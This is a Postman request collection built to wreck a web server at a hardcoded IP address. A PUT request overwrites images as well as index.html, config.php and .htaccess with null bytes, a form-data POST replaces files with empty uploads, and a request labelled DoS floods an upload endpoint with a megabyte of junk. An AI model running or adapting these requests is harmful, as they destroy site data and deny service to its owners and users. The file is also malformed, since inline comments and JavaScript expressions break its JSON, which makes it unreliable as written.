---

{
  "info": {
    "name": "Delete via PUT/POST",
    "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
  },
  "item": [
    {
      "name": "PUT overwrite all images with junk",
      "request": {
        "method": "PUT",
        "header": [
          {"key": "Content-Type", "value": "application/octet-stream"}
        ],
        "body": {
          "mode": "raw",
          "raw": "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
        },
        "url": {
          "raw": "{{base_url}}/images/{{filename}}",
          "host": ["{{base_url}}"],
          "path": ["images", "{{filename}}"]
        }
      },
      "event": [
        {
          "listen": "prerequest",
          "script": {
            "exec": [
              "const files = ['tver1.jpg','extra6.jpg','logo.png','index.html','config.php','.htaccess'];",
              "const idx = pm.variables.get('idx') || 0;",
              "pm.variables.set('filename', files[idx % files.length]);",
              "pm.variables.set('idx', idx + 1);"
            ]
          }
        }
      ]
    },
    {
      "name": "POST form-data to replace files",
      "request": {
        "method": "POST",
        "header": [],
        "body": {
          "mode": "formdata",
          "formdata": [
            {
              "key": "file",
              "type": "file",
              "src": "/dev/null"  // или любой пустой файл
            },
            {
              "key": "overwrite",
              "value": "true"
            }
          ]
        },
        "url": {
          "raw": "{{base_url}}/images/",
          "host": ["{{base_url}}"],
          "path": ["images"]
        }
      }
    },
    {
      "name": "Mass POST with random garbage (DoS)",
      "request": {
        "method": "POST",
        "header": [
          {"key": "Content-Type", "value": "multipart/form-data; boundary=----WebKitFormBoundary"}
        ],
        "body": {
          "mode": "raw",
          "raw": "------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"big.bin\"\nContent-Type: application/octet-stream\n\n" + "A".repeat(1024*1024) + "\n------WebKitFormBoundary--"
        },
        "url": {
          "raw": "{{base_url}}/images/upload",
          "host": ["{{base_url}}"],
          "path": ["images", "upload"]
        }
      }
    }
  ],
  "variable": [
    {"key": "base_url", "value": "https://95.31.249.77:44444", "type": "string"},
    {"key": "idx", "value": "0", "type": "number"}
  ]
}